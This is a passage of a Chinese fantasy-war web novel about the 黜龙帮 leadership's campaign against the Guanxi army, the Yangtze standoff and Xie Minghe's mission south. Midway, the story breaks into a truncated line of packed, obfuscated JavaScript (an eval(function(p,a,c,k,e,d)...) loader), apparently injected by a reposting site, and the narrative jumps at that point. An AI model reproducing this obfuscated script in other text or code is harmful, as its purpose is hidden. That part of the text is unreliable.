马围回过神来,难掩面上疲惫:“首席,我实在想不通,东都那些人到底为什么不降?我原以为便是我们无法动摇东都根基,可大英总能吧?人家本就是关陇一脉,可为什么一直到现在,东都那边都稳若红山呢?” 张行笑了笑:“其实我倒是想通了一些……” 马围肃容道:“请首席指教。” 那些文书、参军们也都竖起耳朵。 “小马,你在东都住过吗?”张行先行来问。 马围苦笑:“首席说笑了,我这个破落户连河北老家都住不成,谈什么东都?” “我在东都住过,这辈子怕是都忘不了那段时日……而且有一说一,那段日子竟是人生最惬意的一段日子。”张行语出惊人。“只不过日后渐渐发觉这好日子后面的一团乌七八糟,这才弃了东都。” “所以他们便怀念大魏?”马围点点头,心下恍然,复又疑惑。“不对,寻常官吏、普通百姓,因为在大魏时过了几年好日子,自然本能依存东都,可那些顶级的关陇门阀呢?也怀念大魏?” “如何不怀念?”张行不以为然道。“你想想……就拿现在弘农的段威来说,他这辈子最好的光景,是不是跟着大魏一统天下,然后居东都执掌四海那段时日?” “这倒也是。” “不止如此的,换个方向想一想,如段威那代人,生在乱世,之前几百年也都是乱世,周遭人多给孩子起个‘世’、‘常’之类的名字,渴求天下太平,然后经历了大魏,现在又回到了乱世,是不是觉得,你们这些人都只是乱世中的渣子,所行争斗毫无意义,只是在重复之前几百年的旧事而已,反倒是大魏宛若美梦一场呢?” 马围沉默了很久,周围文书和参军都是聪明人,也都默不作声了许久,然后才由这位王翼部的分管代为一叹:“于这些人来说,大魏不止是人生之巅峰,竟也是理想之托付吗?可为何又变成暴魏了呢?” 这次轮到张行默不作声了。 其余人也都见怪不怪……宗师嘛,观想真龙甚至可能是至尊的宗师嘛,还是河北、北地、东境、淮西这么大地盘的世俗统治者,三分天下的地气供养着,打完一仗,有任何奇怪的举动都不算奇怪。 当然,张首席没有那么玄乎,不过也的确在思考前日那一战。 首先是战事升级的问题, 那天打着打着,就战事升级了,不可控的战事升级……黜龙军制造了一个小陷阱,想吃掉一部分追击出来的关西军,而关西军无法承受这个伤亡,于是白横秋就正式出手了,他充分展示出了一个大宗师单人成军的威力,对战局影响太大了,张行和前军压阵的牛河、魏文达不得不出手。 那么接下来怎么办? 还要不要坚持这种攻击性的战术? 如果坚持的话,就需要跟之前一样,主动升级战事,可再升级的话就只有摆出真气大阵了……而如果那样的话,胜负怎么说? 须知道,关西军与黜龙军在修行高手配置上明显错位。 黜龙军没有先发优势,靠的是多年征战自己养出来的大量后发高手,也就是多位新宗师、多位凝丹、八百奇经踏白骑和已经进入军中的第一批强制筑基的青年。 相对应的,关西军有先发优势,所以每个阶段都有上段位的优势,却缺乏后进。 比如说关西军有大宗师,有临界突破的顶尖宗师,也有几位老牌宗师,却没有新宗师;凝丹高手数量双方差不多,但成丹高手却明显比黜龙军多;下面的奇经高手也有,但却没有形成踏白骑这种大规模成建制的部队……伏龙卫只有百余骑,现在更是因为徐世英的“小把戏”弄得只有几十骑。 但他们真缺奇经高手吗?会不会是散在军阵中,各卫大将军牢牢抓住不愿意撒手导致的?否则白横秋不至于这么轻视伏龙卫吧? 那么一旦开启大阵,双方胜负到底怎么说? 理智的选择似乎应该避一避,只要避过这个冬天,明年再战,黜龙军中的基层修行者数量就会爆发性增加,但那样的话,会不会露怯?会不会让对方产生某种正确或错误的判断,引发不必要的麻烦? 这些都要考虑。 除此之外,前日战中,司马正过于稳当了。 双方这一次交手可不是事先下战书约定好时间、地点、参战力量搞起来的,而是战场上自行发展出来的对决,而面对这种突发的战况,司马正稳坐在河阳要塞内,除了一开始有些真气动静外剩余整场战斗都没再有半点波动……这只能说明司马正自己早有相关计划,所以才能岿然不动。 换句话说,结合战前的态度,司马正几乎一定会出手展示实力,只是不晓得是在两家撤军时,还是等双方将最大实力使出来的时候。 所以,问题又绕回来了,要不要将最终的战力给露出来?能不能承受相应的结果? 这些思考可不是张行一个人胡思乱想,自从黜了真龙以后,张宗师明显感觉到了一些变化,他对于事物的感知能力在上涨,上了战场后就更加明显……哪个营头强,哪个营头弱,接下来战线是焦灼还是崩溃,在这里守下去能不能撑住……此类判断,一个经验丰富的将军在观察完局势后也能做出来,所以理论上只能说张首席比其余人多了一份真气角度的观感。 但实际上没那么简单,天地元气是这个世界的精华所在,一通百通,且具有根源性。 尽管没有证据,但张行能明显意识到,自己的猜度和思虑是“有效用”的,这就好像冲和的占卜、曹林的**、郦子期的舟船巡察、三娘的真实伤害一般,是真的会有概念性的影响和准确率。 所以,真的全力以赴打起来,只以眼下这个战场态势来说,真不好说胜负……但败的那一方一定会损失惨重,而这正是张行极力避免的事端。 从这个角度来说,罗盘…… 思索许久,徐世英冒雨从外面回来,却连护体真气都没有展开,一进来居然放下了一把伞,见到张行和马围立即开口:“单龙头走了,张公慎他们到了。” 这是正常的且处于流程中的轮换,只有四个营的规模。 张行点头,忽然来问:“十三金刚现在都在河北吧?” “都在。”徐世英点头,然后迅速补充。“但白分管现在很忙,御史台的事情把他拉进去了,此外高金刚去了滹沱河……” “让他们来!立即来!”张行即刻下令。“三日内全都要到……扔下部队、行台事务,立即过来!” 徐世英顿了一下,没有多余询问,而是追问:“要不要请殷龙头去邺城坐镇?” “不用。”张行摆手道。“殷龙头在滹沱河正好……如果大英尝试出奇兵绕后,现在这个局面下是断不敢出武安去邺城的,否则咱们就能立即扔下此处回身吃掉,而他们的追兵必然会被司马正咬住。” 徐世英想了一下,先点了下头,却没有直接看许敬祖、李义署那些人,而是看向马围,随着马围也点头,他才摆了一下手,随即,聚拢在公房里的文书、参军们立即行动起来,然后一系列的文书,包括之前去山里搜罗河内难民、在汲郡设立军市与家眷探视点,全都被依次交给了徐世英。 徐世英签完字给了马围,马围附署,只有调度莽金刚的那份文书张行亲自签了名。 处置完了一切,徐世英方来问张行:“所以,首席下定决心了?” “不错。”张行正色做答。“不能泄了这口气……” “我其实也赞同。”徐世英也认真道。“咱们上面明白,可下面双方军士却不是这么明白的,得营造一种咱们什么都不怕,反而越来越强的印象……只要双方底层军士信了,到时候战场上可能就是这一口气的事情。” “也是要大英那边晓得,咱们这里是要十万分注意的,把他们的眼睛和手都钉在东都这边。”马围也表达了赞同。 然后公房内便陷入到了某种令人不安的沉默中了。 过了许久,伴随着屋外的雨声,徐世英将目光从发呆的张行身上收回,严肃下达了军令:“召集所有头领,今晚军议……马分管,召集人手,绘制阵图,准备起大阵。” 十月份,汲郡的战争陷入泥潭。 与此同时,相隔数千里的大江之上,这里的战争已经陷入停滞很久了。 这里的战场更清晰明了,占据了巨大江心洲的联军跟占据了南岸据点的关西军之间只有半条大江,而离谱的是,就在这个狭窄的战场两端,立着很可能是天底下最强大的两位宗师……什么船队都过不去,两位顶尖的宗师都无法从对方手下保护住自己的人,也无法跳过去消灭对方。 这还不算,因为北面正式开打的缘故,双方都没能得到任何可见的大规模支援。 于是战争变成了停滞战,只是隔三岔五两位宗师临阵交一剑而已,连多余的动作都无。 “下面人有讨论,都觉得这一战的胜负在我和韦胜机谁能先跨过那一步上面。”临江的望楼上,白有思扶着栏杆望向西南面的城市,显得很放松。“但也有人说,我们恰好就是对面跨越界限的试炼,谁赢了这一仗,谁击败了对方,谁把兵锋推进对方腹地,谁就自然而然的成了大宗师……谢总管,你觉得哪个说法对?” 昼夜不息赶到此间的谢鸣鹤想了一想,直接摊手:“照着我的品味来说,自然是后者,我祖上就是这么来的……但其实仔细想想,哪个都未必,哪个也都可能。” “不不不。”白有思笑着摇头。“谢总管这个答案看似滴水不漏,但实际上是错的。” “哦。” “答案很简单,就是后一个。”白有思继续笑道,却眯眼看向了西面方向的那座临江城池。“到了宗师这份上,单纯的心血来潮也好,掌握了一些真气法门也好,是能感应一些事情的,更不要说是晋升大宗师这种要害了……谢总管,我明白告诉你,我从第一日见到对方浮江而下时便晓得,这位当庐主人与此地就是我成大宗师的契机。” “原来如此。”谢鸣鹤恍然。“所以,这大江上的事情,乃至于全天下的事情,甚至是几百年乱世的结果,竟是要由两个人心情、机遇来定了……可这跟张首席平素的话好像不搭呀。” 白有思再度回头来看对方,失笑摇头:“谢总管这话诛心。” “不是故意调侃,而是真的发懵。”谢鸣鹤正色道。“这种局势还能如何?” “首先……”白有思转过身来,同时伸手在栏杆外侧布上了一层真气障壁,语气也严肃了起来,却似乎张口便是一句废话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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南方将门与江左世族,可真是几辈子抄家灭族一般的交情,双方知根知底,有事在身的谢鸣鹤也不含糊,转交了分别来自于周行范、张行的两封私信,来自于军务部徐世英、帮务部雄伯南、大行台陈斌、国主魏玄定、首席张行的一系列正式文书……以及来自张首席的公开承诺。 “出兵前张首席在吞风台大头领扩大会上说的,天下浩荡,人心不定,英雄四起,有些人其实相差不多,能耐差不多、想的差不多、态度差不多,但偏偏有的人遇到了时势,或主动或被动与我们走近了一些,可莫小瞧了这走的一小步……因为千言万语不如一行,就这一小步我们就要认,反过来说,如果将来谁离了我们这一小步,我们也要追究到底的。” 码头上,谢鸣鹤复述完毕,似笑非笑来看对方。 “周公,首席说完这话,便通过了你与周总管一起暂署龙头的专项,我就不说什么一门双龙头了,周公,此间事成与不成,你都是黜龙帮的人了,一辈子都拖不开了,所以一定要遵守帮规、国法、军令,放到眼下,允许你暂缓推行黜龙帮的律法、制度,但要尽全力支持南线战帅白龙头的对峙。 “还有一条,你到底是外藩,有了淮右盟的前车之鉴,你这里不能有太多的大头领、头领名额,哪怕是你现在有了荆北七州之地,也只有两个大头领、八个头领名额,而且需要身为战帅的白龙头署命认可。 “可有什么言语?” 认真看完信又沉默着听完对方转述的周效尚平静开口:“没有,我感激张首席与大行台三位副指挥的英睿,完全接受这些任命和调度。” 谢鸣鹤眯眼看了下对方,点点头,同样没有再多说什么,直接一拱手,便重新上了船,往下游而去。 不是没有异议、不满,也不是没有察觉……谢鸣鹤比谁都清楚对方的心思,周效尚走的是典型的南方将门路线,乱世自保,却对真正的强者恭顺到了极致,可但凡强者没有触及到的地方,他都会尽全力扩张他的私人势力,以求自保。 就好像这一回,周效尚的投靠成为了白有思在南线强有力的支撑,可这也不耽误他表面上老实巴交、忠心耿耿的同时迅速在荆北扩张一样,九个郡,或者说是昔日南陈七个州,全都被他吞下自肥。 刚刚的认可与服从里面,有多少是这七个州、九个郡的重量,怕是只有他自己知道。 但那又如何呢? 黜龙帮里,有东境的豪强、良家子、基层官吏,河北的盗匪、官军、世族、寒门,东都的各类流人,南陈的贵族,北地的战团、贵族与荡魔卫,还有江淮的帮派,难道还差一个典型的南方将门? 十月间,谢鸣鹤继续顺流而下,迅速抵达了下一站,在巴陵见到了江淮的帮派,也就是杜破阵与辅伯石为首的淮右盟诸位。 这里没什么好说的,夸了一下阚棱和义子军改编的那个营如何如何出彩,然后埋怨了杜破阵和辅伯石到现在都没有成宗师,委实让人失望什么的,获知了荆南现在是林士扬在倒腾后就直接走了。 只留下杜破阵在洞庭湖畔的风中发闷气。 再往下走,就是江西地界,饶是一路都是顺流而下而且昼夜不停,还有真气辅助,可等到谢鸣鹤在九江见到了逡巡不定操师御后,还是花了足足六日的时间。 双方见面,谢鸣鹤言简意赅,请对方即刻往上游去做支援,即便是大军臃肿,操师御操元帅、操国师也可以孤身前往,联合白龙头击败韦胜机,一举决胜。 否则的话,在这里坐观成败,若黜龙军胜,凭什么要容忍他?反过来说,若韦胜机胜,直接顺流而下,便又是一个杨斌,倒是很操师御作为江南本土的宗师,怕是性命都不保的。 这话情真意切,操师御当然……没有答应。 开什么玩笑,这个道理他不懂?他是懂了以后才**兵马停在江西的!你谢鸣鹤来,代表了黜龙帮中枢来,当然会给他带来一定的压力,但若说直接就催动他了,目前看还不至于。 谢鸣鹤当然也晓得是怎么一回事,耳听着对方说什么军队汇集起来以后就立即去支援什么的,便自请下去歇息,然后理所当然的在城外一处自家子侄的地方约见了军中、地方一些江南八大家出身的官吏、将佐,只说乡友聚会。 聊了一会,大约察觉到哪几个人是有些思路的,便摒弃了其他人,只留下这四五个来做询问:“这位元帅国师教主想作甚?” 这话问的干脆。 剩下几人面面相觑,枯坐了片刻,其中一人无奈拱手来言:“不瞒世叔,这事我们自然早有议论,若是我们猜的没错,他应该是想利用这个机会,把江左势力都控制起来,以求自立或者篡位……具体到眼下的步骤,应该是想把对岸萧辉最后一点兵马、人手给骗过来,若成了,他直接遣一名大将趁着对岸空虚驱逐了对方,事情便了了。” 谢鸣鹤愣了一会。 其实,这也属于江南传统保留节目了,只是他去了黜龙帮,做了那么多事,开了那么多会,一时没把江左这个味道适应回来,也属常理。 “然后呢?”回过神后,谢鸣鹤莫名有些不安起来。“就成皇帝了?” “不瞒世叔,我们议论了很久,都觉得确实是个好机会,因为现在天下各处都因为黜龙帮和关西人的对峙卡住了。”另一人站起身来,小心翼翼来言。“这个时候,反而没用外力来干涉了,就是萧辉和操师御两人对弈。” 谢鸣鹤张口欲言,本想问成了皇帝之后怎么办?不需要应对关西人跟黜龙帮了吗?这俩家胜了谁放过你?还是你操师御觉得自己当了皇帝就能让南朝脱离困境反扑出去? 不说别的,只是占了江南三分之一的荆襄那边就没完没了好不好? 叛乱没了,可叛乱的人都在,下面人还是恨真火教,上面还塞进来几家战斗力更强的过江龙,再加上黜龙帮跟关西人实际上在那里搞对抗,都成斗兽场了,你要怎么处置? 而且莫忘了,这大梁可是好几十个异姓王、异姓公的,这可都是有地盘有兵的,你要怎么理顺? 空头子皇帝这么吸引人吗? 好在之前几百年江南那些烂事不断地提醒着谢鸣鹤,没错,就是这样,这些人就是为了一个皇帝名号而忘记一切,什么宗师、元帅、教主都不缺的,三合一的也不可能跳出去! 于是乎,谢鸣鹤强压着某种类似于呕吐一般的感觉,继续来问:“你们觉得萧辉会上当吗?” “回禀世叔,萧辉肯定不会上当。”又一名八大家出身的官员起身笑道。“但是操师御可以直接拉拢他下面那些人的,一来二去,有个动摇,事情不也成了吗?” 谢鸣鹤“恍然大悟”。 等前一个人坐下,又一人起身:“其实,萧辉也在拉拢这边的人,只是操师御势大,他的效果远不如操师御对对面的效果……听说,现在萧辉那边驻守六合的大将张破石已经动摇了。” 谢鸣鹤点点头,认真来问:“所以你们觉得操师御要胜了?” “也不好说,往回看,这大江上不知道多少以为自己赢了的被人一个算计分崩离析。”那人刚刚坐下,复又起身,却似乎有些得意之态。 “所以,这事不好说,对不对?” “对。” “还是要观望对不对?” “对。” “操师御短期内不能西进对不对?成了皇帝也要耽误许久才可能西进对不对?” “对。” “你们听我一句话。”谢鸣鹤终于忍耐不住了。“趁着现在两边拉拢你们,你们的情境稍微放松,赶紧把家眷从海上送往徐州,自己也算准日子跑!跟这样的虫豸是搞不好**的!” 几名世交子弟对视了几眼,明显茫然。 谢鸣鹤等了一会,眼见身前无人回应,却是忽然爆发,起身呵斥:“不对,你们也是虫豸!江南都是废物!” 说完,拂袖而出。 既然出了门,眼见九江城与鄱阳湖在侧,其人到底是冷静了下来……自己身上还有任务,需要找一位宗师去襄助白有思。 然而,江南都是废物! 这可怎么办呀?! PS:感谢JackChenYL老爷对绍宋的白银盟,感谢黑夜女神座下忠实守护者老爷对绍宋的两个盟,感谢鼠玲珑老爷对绍宋的上盟,三位老爷五月发大财!诚惶诚恐,感激不尽! 第八十八章 风霜行(7) 就在谢鸣鹤突然陷入迷茫的时候,河内的风停了。 之前几日,先是下雨,嘴上说着没有变冷、没有变冷,可几日雨水之后还是明显冷了,然后就开始刮风,河北初冬的这个风,不敢说与河南五月的雨相提并论,但也差不离了。 尤其是隔了一日,地上干了以后,风卷起扬尘,那个味就对了。 到了这个份上,便是体感上不冷,实际上一日冷过一日。 此时,根本不需要任何本地人讲解地理气候,双方上下都可以想见,等到下个月月中的时候,就会例行结冰,大河开始凌汛,到了腊月就会封冻,然后开春再凌汛,也不晓得中间会不会下雪,有没有寒潮,会不会有大风…… 这些可不是什么小事! 恰恰相反,稍有常识的人都知道,气象、气候变化对于正在河内对峙的三方几十万大军而言,真是要命的事情。 所谓水火无情,冷暖自知,这点从称赞一个大宗师时说他几乎能引发天象就能看出来,换句话说,这天象变化引发的影响对于军队来说,真比一个大宗师来的强。 于是乎,那日大战后,刮风下雨期间,双方不约而同选择了避战……毕竟谁也不想打到一半,来个妖风四起,全军崩溃;或者战至暮色,当夜大雪,生者皆伤,伤者皆死。 可现在,风停了。 要不要打? 答案是当然要打。 这些也不是什么废话,因为战争对人的摧残太严重了,经历了大半个月的对峙,连续打了四五场后,说出这话本身就代表了极大的勇气。 像李定那种,闻战则喜,将战争的一切视为乐趣与成就而孜孜不倦的人太少了……战争开始以来,三方、乃至于四方的**领袖们都是煎熬的,生怕一个不小心,自己本人外加身后的军政集团一朝崩塌;下面的军士更不用说,双方都在拼尽全力维系士气,怕的是什么?怕的就是这些基层军士、民夫直接崩溃。 而如果最上面和最下面都是提心吊胆,煎熬难耐,那敢问中间的人? 当然,还是那句话,李定是个例外……可其余人,只说黜龙军这边,徐世英战战兢兢,紧绷的如同一张淋湿的弓,不晓得还能不能拉的响,马围兢兢战战,却似一柄豁口的剑,不知道什么时候就断,还有雄伯南、徐师仁、单通海、刘黑榥、魏文达,乃至于尉迟融到寻常头领之患得患失、焦躁失控,也一个比一个清楚,倒是王叔勇、秦宝、阚棱、韩二郎等寥寥几人,方显从容。 可这几个人,也是有说法的,王叔勇是**底子太厚,自己主动放下后到了现在的位置又不用担太多责任,堪称游刃有余;阚棱是纯粹新来之人,所谓外来的道士好占卦,无心无记;秦宝和韩二郎则是自己想通了路子,没有功业压身,一意向前。 但也就是这区区几人罢了。 黜龙军如此,对面的关西军呢? 看起来从容避战,其实一直承受红山压顶之势的东都各部呢? 都跑不了的。 实际上,这就是为什么很多战事打着打着,看起来要拉锯几十年,结果一方随着一战之胜负莫名其妙就崩溃了。 没办法,这就是战争,通过大规模暴力手段消灭对方集团内精英乃至于根基的肉体,来换取绝对的胜利。 这个过程中,双方最珍贵的东西被当成消耗品摆在了阵前,每一次摩擦都让人提心吊胆、头皮发麻,每一次交战都让人心头滴血、肝胆俱丧。 而且谁也躲不过! “我还是那句话,我从头到尾都认定了咱们是必胜的,这不是喊出来鼓舞士气的,我就是这么认的,不然如何敢做这般军事布置? “而且,我也是从头到尾都认定了这一次东西对决会很快分出胜负!因为天下一统是必然,天下思定,没人再愿意过几百年人人皆禽兽的乱世!只是我们不去硬碰硬,找到他们的底子,谁也不知道这一日何时来! “最后,坚持作战当然有给北面做掩护的意思,但是你们要只以为我们只是在做掩护,那就是在小瞧我张行也是小瞧你们自家了!兵马分奇正,正从来不是佯攻做吸引的,更是要有主力决战的威胁,才有资格做正!” 张行说完,对着下方一挥手:“现在,谁还有话说?” 下方一片沉寂。 “那就开战!明日一早,出营列阵!”徐世英竖起眉毛来,长生真气也随之鼓起,身后探出的真气长蛇竟然已经头角峥嵘,且牙眼俱全。 下方诸将惊愕之下,不敢怠慢,纷纷起身呼战。 定下明日出战决断,便也散场,大小头领们离开县衙后院,忍不住议论纷纷,都在说徐副指挥这不声不响的,怕是这一仗胜了,便是宗师了。 果然,跟之前传闻类似,想提升修为还得担责任……别看徐副指挥这些天一直绷着,但撑下来真有用。 另一边,张行倒是没看徐世英,他对徐大郎的情况心知肚明,他现在的目光摆在了院中并没有起身的十三个光头上面……光头在月光和无数火把、火盆的映照下亮锃锃的,很显然是刚刚理了发。 张行将目光晃来晃去,最后落在了其中一人头上,然后笑问:“芒大头领,你什么时候到宗师?” 莽金刚有些扭捏:“让首席看笑话了,当年天下还没乱的时候,俺就是出名的成丹,黑榜前五的高手,结果到现在不光是让雄天王、魏大刀这些齐名的人超了过去,就连徐副指挥都撵上来了,不如去营前寻块版筑撞死。” 张行赶紧摆手:“照这么说,伍大郎也该寻块豆腐撞死,他当年黑榜上可比你高,修为也是早早到位,不也没宗师嘛……” 莽金刚是真有些尴尬了,他固然脑袋滑溜溜,嘴唇也滑溜溜,可伍大郎却不是他能滑溜的对象,当年他可是托庇在南阳义军麾下的半独立势力,又跟着人家一起来的黜龙帮,非要计较,他们十三金刚全都是人家伍大郎山头的。 张行见状,倒似乎察觉到对方的不安,反过来做了解释:“其实我跟他细细说过这事,按照他的意思,到了宗师这份上还是需要个契机才行……比如他当年一心一意想打回东都或者西都报仇,如果让他堂而皇之的打进武关或者轘辕关,怕是立地便成了宗师……这有道理吗?” “应该是有道理的吧?”莽金刚非但没有释怀,反而眼见着更加尴尬。 “当然是有道理的。”月光下,张行又指了指自己。“我当日在河北,都不晓得自己观想了什么,稀里糊涂的熬进了成丹期,结果真实实在在黜了一条真龙,应了咱们黜龙帮的名号,便也是宗师了……所以,宗师确实需要契机,而且这个契机往往跟自己念想、成就相关。只是老莽,你的念想,你自己竟不知道吗?” 不止是张行,也不止是雄伯南、牛河、徐世英、马围以及在场的文书、参军们,就连其余十二个光头也都神色复杂的看向了自己的大师兄。 莽金刚沉默片刻,终于苦笑了一声:“若是首席想问这个,俺就要让首席失望了,俺的念想是有的,那就是完成入世的修行,等天下太平后,回到青城山,到时候也不入前山白帝观做什么教主、住持,就在后山师父坟前,寻个挨着溪流、望着岷江的山窝子筑个草庐,然后拿着帮里的分红,着人不停地往山里送好酒好肉,吃了睡,睡了吃,将来哪天**,就葬在师父坟边……可若是这般,就要咱们先击败了大英才行,我这个宗师修为也一根筋变成了两头堵。” 众人听完,十二金刚自然神色复杂,而其余人多是无语。 还是张首席见多识广,早就习惯了,竟是片刻不停点了头,俨然不以为意:“无妨的,咱们如此,依着我看,对面也是如此,断不会真因为差你一个修为就如何。” “惭愧,惭愧。”莽金刚只能起身连连拱手。 “若是这般说……”就在这时,裹着冬装的马围忽然插话。“司马正是怎么回事?之前只觉得,白横秋、司马正和咱们首席都是一样的,作为军政领袖都是自家地盘稳固、**上有了成就,修为就上升,可若是要讲究契机和念想,司马正稳固一个东都怎么就大宗师了?难道他的念想便是稳固东都?” “司马正天赋过人。“张行干笑道。“人家的念想未必是稳固东都,说不得是想保护东都,结果真就有了保护的能耐……莫忘了,他观想的乃是甲胄。” 马围摇头不止:“那可是大宗师!若他不是大宗师,这一战必然还是要相持不下,可却断不会这般煎熬。” 张行回头打量了一下那些光头,然后再来看马围:“小马,你这几日太累了,先去歇歇……这些眼下不着边的事情放到一边去。” 马围想了想,便从火盆前站起身来,却一个趔趄,差点没站稳,而在几股真气抵达的同时,随从十三金刚一起抵达的封常也扶住了这位王翼部分管,然后一起下去了。 须臾,这温城县衙后院中就只剩张行、雄伯南、徐世英、牛河等几位要害,外加十三位光头了。 等了一会,白金刚最先撑不住,起身来言:“首席莫要忧虑,我们十三兄弟一体,便是大师兄修为过不去坎,可这些年我们其余兄弟都在帮里长进,光是新凝丹的就有四个,当年就能接对面一颗棋子,如今总还能再接几颗!” “要你们来就是为这个。”张行微微正色。“前线打的越来越烈,不能藏着掖着了。” 白金刚点点头,重新坐下,然后继续来说:“刚才首席那些话,估计有些人自诩聪明,是不大信的,可我这些天在大行台,反而是信首席的……帮里一些人一直说我视咱们帮内为仇雠,可这次我却要说,咱们帮里比那些什么朝廷还是强太多了,徭役是公平的,钱粮都用在了军务上,连滹沱河的河堤都没停,若是这般都不能胜,我只能说天道出乱子了。” 庞金刚、寿金刚等人也都附和,有人说起了大行台那里的事情,还有人说起了自己的那营兵,马上就热闹起来。 很显然,莽金刚或许想着回蜀地再上青城山,其余兄弟的心思却都是在帮里……不止是白、庞、寿这几位中坚,便是后面几位原本只是结阵凑数的,如今修为和资历上去,也都在战前暂署了头领的,想要有一番作为。 张行也趁机来问这些**行台与后方境况。 依着白金刚的性格,他说不错大概是真不错,但真说开了,却还是少不了抱怨和麻烦……比如白金刚就对御史台组建的速度感到不满,他觉得有些人是在故意拖延,好等到战事结束,这些领兵头领回去造成反对**,而且他对河北各处黑帝观如今得了荡魔卫撑腰就抵触管理也很不满,觉得该下重拳整治;庞金刚则对军医的使用权提出了不满,而且不是他不满,大行台那里都对不能妥善调度医生感到不满;寿金刚则是说起了他部中驻守四口关,整日只是帮忙转运物资,几乎要沦为民夫,不免军心浮躁,乃是请求将部队调上前线。 张行和雄伯南当然只能依次安抚,徐世英则板着脸讲前线难处。 最后,张首席总结——敌我决战岂止在战场,大家相互都是为了帮里大业,就不要分什么内外前后,敌我和帮内是不一样的。 到底是安抚了下去。 然而,众人各自休息,到了四更做饭的时候,廊下食尚未开启的时候,清晨尚未散去的迷雾中,数骑自东而来,给黜龙军前线指挥中枢送来了一个坏消息——白横秋遣老将鱼皆罗督两万军出恒山郡。 考虑到鱼皆罗之前一直在河东,那么算算时间,应该是那日双方斗法前就启动的策略。 不过,张行丝毫没有在乎,黜龙军此时只是河北就尚在幽州、邺城有多个营,河南的各营也可以随时支援,还有一位大宗师在滹沱河畔,当然不用在乎,所以在跟雄、徐、马三人通气,并遣人告知了王叔勇、徐师仁二人后便直接将军报归档于机密一层,然后便是廊下食,接着便是乘着早间阳光发兵。 一旦发兵,群情震动。 没错,整个河内战场全都耸动,黜龙军士气自然鼓舞,白横秋、司马正俱皆大宗师,便是不论什么心血来潮,只说观察形势、感知其中高手分布,也几乎是第一时间便察觉到了黜龙军意图,自然震动。 一时间,非止是关西军字面意义上的如临大敌,匆匆调兵遣将,便是一直沉寂的河阳城也都动了起来,河阳要塞体系中的河上浮桥更是第一次出现了大量北进援军。 “陛下旨意,你营中调两个凝丹去中军,归薛将军指挥!”一名金甲伏龙卫立马到营寨前,根本连营寨都不入。“速速随我去!” 营中主将罗方立即去看身后,薛亮、丁顺、马开三个中郎将都在身后,稍一迟疑,便要点丁顺和马开这两个昔日跟他们一起入关的义兄弟过去。 孰料,薛亮似乎意识到对方意思,抢先一步用半只手掌的手拱手:“大兄,我跟老十一去。” 罗方这才点头。 那伏龙卫在外面似乎是不耐,又似乎是不满,勒马转了一圈,到底没敢在一位成丹、三位凝丹面前多嘴,只是等两位中郎将牵马出来,便打马往中军高台而去。 别人不说,只说薛亮与丁顺抵达中军,并没有直接上高台,而是先去见了薛仁……丁顺还无言语,薛亮先在“薛”字旗下从容拱手行礼,倒是让薛仁反而有些尴尬,便匆匆摆了下手,赶紧带着他们往中军大帐里钻。 入了大帐,此间火热一片。 一面是温度确实比外面高很多,另一面则是人多嘈杂,不停有人走来走去,还有人在毫不避讳的讨论与争论,就连白皇帝也在上面不停与几位大将低声说着什么。 薛亮也不吭声,只低头走过去,认真倾听: “上一批粮草已经到了?” “是,足够十日。” “冬衣呢?” “已经到了三成,后续还在。” “他们是打这个主意?破我们营寨,让士卒没法保暖,冻馁不能立足?” “不可能,咱们营寨足够厚,让他们拆也不可能全拆光,何况咱们燃料充足……” “真拆光了营寨,咱们全军就崩了,还考虑什么挨冻?” “两军都有营垒、坚城,都能立阵,且战场狭窄,那只要不在一日内被对方将全军击溃,就决难出现那种死伤累累,全军覆没的战斗。” “朕就是这个意思……他们有可能一日击溃我们吗?” “……” “不是你们想的那些,我是说后勤、布置上的纰漏。” “想不到……还有一个就是没准备饭,到了下午会饥饿失控……但也不对,咱们有充足的干粮。” “想不到?” “想不到。” “那他……那他为什么要来拼命?一战下来,凝丹以下的修行者怕是没个十天半月不能缓过来,凝丹的也要歇个三五日……他那般自大,觉得他们的大阵一定能压过我们的?” “他肯定没那么自大,而且也一定没把握,因为便是朕都没有把握。” “那就不是自大,是**。” “用这种手段**?!” “诚然如此,他们就是要告诉咱们,此时此刻,咱们拼尽全力也不能胜他,然而时间却在他们那边……等明年,他们当年强制筑基过的军士就会更多,我们……” “好了,不用说了,他要战,便来战!朕与他战!” 帐中一时凛然,谁刚要再说些什么,忽然又有人闯入,赫然是出去高台上观察敌势的白立本,此人神色紧张,甫一来到跟前便朝白横秋行礼相告:“陛下,黜龙军只出了三万人便不再出兵,但这三万人甲胄旗帜齐全,乘着朝阳而来,金光闪闪,外面军士都在喧哗。” “又来这一套!”白横秋尚未言语,一旁白横元已经气急。“整日不断的小把戏!” “这不是小把戏!能**的都不是小把戏!”白立本毫不犹豫对名义上算长辈的中军指挥作色,然后不待对方回应又来看白横秋。“陛下,咱们需要赶紧调整!对方兵马数量不多,起阵更快,若是我们继续准备大阵,怕是要吃大亏,可偏偏前营军士已经骚动喧哗……” “该当如何?”白横秋肃然来问。 “遣一支精锐……不拘是一军还是一位宗师,去阻拦、威吓!”一侧刘扬基毫不迟疑给出答案。 帐中陡然一滞。 原因嘛,不问自明。 但军情严肃,委实没法耽搁,白横秋目下一扫,厉声来问:“听到没有,有没有人愿意领一军,去做阻拦、威吓,去送死!来替全军争取重新集合整备的时间?!只要出战,不论事成事败,不论战死、俘虏、生还,不拘活赠、恩荫、死追,必有家中一卫大将军的前途!” 帐中还是一时无人应声。 主要是畏惧,但不止是畏惧,还有没反应过来,以及担心自己不能胜任,或者觉得按照身份轮不到自己,甚至有人是在看了眼面无表情坐在位子上的吐万长论老将军后才意识到,这话不是说给这位宗师听的。 “末将愿往!” 就在这时,薛仁直接翻身拜倒,叩首请战。 白横秋大为欣慰,立即站起,周围将佐这一次依旧纷纷侧目,却少了几分审视之态……说难听点,这当然是被君主一根萝卜吊了起来,就要去送命,但反过来说,薛仁这厮被连番提拔,此番主动,也算是君臣相得了。 当然,军情紧急,来不及表演什么,白横秋扶起对方,直接来问:“照理说,你修为不足,得要五七位凝丹随从,才能确保他们起阵前逃回,但此时朕反而不能与你这么多战力,而且还要你回身后努力来高台上支援……本部两千骑,加上两位凝丹中郎将,行不行?” 薛仁再度叩首:“士为知己者死,末将既白袍至军中,便已将性命托之国家!何况陛下这般恩遇?!” 